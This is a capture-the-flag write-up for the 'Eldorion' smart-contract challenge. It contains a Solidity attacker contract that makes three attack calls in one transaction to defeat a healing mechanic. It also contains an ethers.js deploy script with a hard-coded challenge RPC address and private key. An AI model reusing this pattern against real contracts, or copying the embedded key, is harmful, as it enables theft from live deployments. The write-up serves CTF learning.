Eldorion Writeup
Cyber Apocalypse 2025
Solved by Starry-Lord

This Beast was killed with adding a attacker.sol contract to bypass the “eternal resilience” function, which kept healing the boss after each attack. So we needed to make a triple attack:
cat contracts/attack.sol                                                                                        
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IEldorion {
    function attack(uint256 damage) external;
}
contract Attacker {
    function attackThree(address target) external {
        IEldorion(target).attack(100);
        IEldorion(target).attack(100);
        IEldorion(target).attack(100);
    }
}
here is the attack script with ethers.js v5 (because I never managed to make this challenge return valid JSON with v6):
const fs = require("fs");
const path = require("path");
const solc = require("solc");
const { ethers } = require("ethers");
// === Config ===
const RPC_URL = "http://83.136.253.25:50179";
const PRIVATE_KEY = "0x0ce0d36d2fb2e0cfc7f413aec7acf865871b6f71f28ffda18cff63ab50a8c59c";
const eldorionAddress = "0x6114F5Aca890BaE0b153de34Cd024ba24C2A3A68";
const setupAddress    = "0xaed4036993875E6C22E37BC1a12EFB81e89A9222";
const eldorionAbi = [
  "function health() view returns (uint256)",
  "function isDefeated() view returns (bool)"
];
const setupAbi = [
  "function isSolved() view returns (bool)"
];
const attackerAbi = [
  "function attackThree(address target) external"
];
// === Setup Provider + Signer ===
const provider = new ethers.providers.JsonRpcProvider(RPC_URL);
const signer = new ethers.Wallet(PRIVATE_KEY, provider);
// === Compile Attacker.sol ===
async function compileAttacker() {
  const filePath = path.join(__dirname, "../contracts/attack.sol");
  const source = fs.readFileSync(filePath, "utf8");
  const input = {
    language: "Solidity",
    sources: {
      "attack.sol": { content: source }
    },
    settings: {
      outputSelection: {
        "*": {
          "*": ["abi", "evm.bytecode"]
        }
      }
    }
  };
  const output = JSON.parse(solc.compile(JSON.stringify(input)));
  // Print compilation errors
  if (output.errors) {
    for (const error of output.errors) {
      console.error(error.formattedMessage);
    }
  }
  const contract = output.contracts["attack.sol"]?.["Attacker"];
  if (!contract) {
    throw new Error("❌ Compilation failed: Attacker contract not found.");
  }
  return {
    abi: contract.abi,
    bytecode: contract.evm.bytecode.object
  };
}
// === Main Execution ===
async function main() {
  console.log("Attacker:", await signer.getAddress());
  const { abi, bytecode } = await compileAttacker();
  const factory = new ethers.ContractFactory(abi, bytecode, signer);
  const attacker = await factory.deploy();
  await attacker.deployed();
  console.log("🚀 Attacker contract deployed at:", attacker.address);
  const tx = await attacker.attackThree(eldorionAddress);
  await tx.wait();
  console.log("⚔ Sent 3 attacks in a single transaction!");
  const eldorion = new ethers.Contract(eldorionAddress, eldorionAbi, signer);
  const setup = new ethers.Contract(setupAddress, setupAbi, signer);
  const health = await eldorion.health();
  console.log("🧪 Eldorion's Health:", health.toString());
  const defeated = await eldorion.isDefeated();
  console.log("💀 Eldorion Defeated?", defeated);
  const solved = await setup.isSolved();
  console.log("🏁 Challenge Solved?", solved ? "✅ YES" : "❌ Not yet");
  if (solved) {
    console.log("🎉 Go grab your flag!");
  }
}
main().catch((err) => {
  console.error("💥 Error:", err.message || err);
});

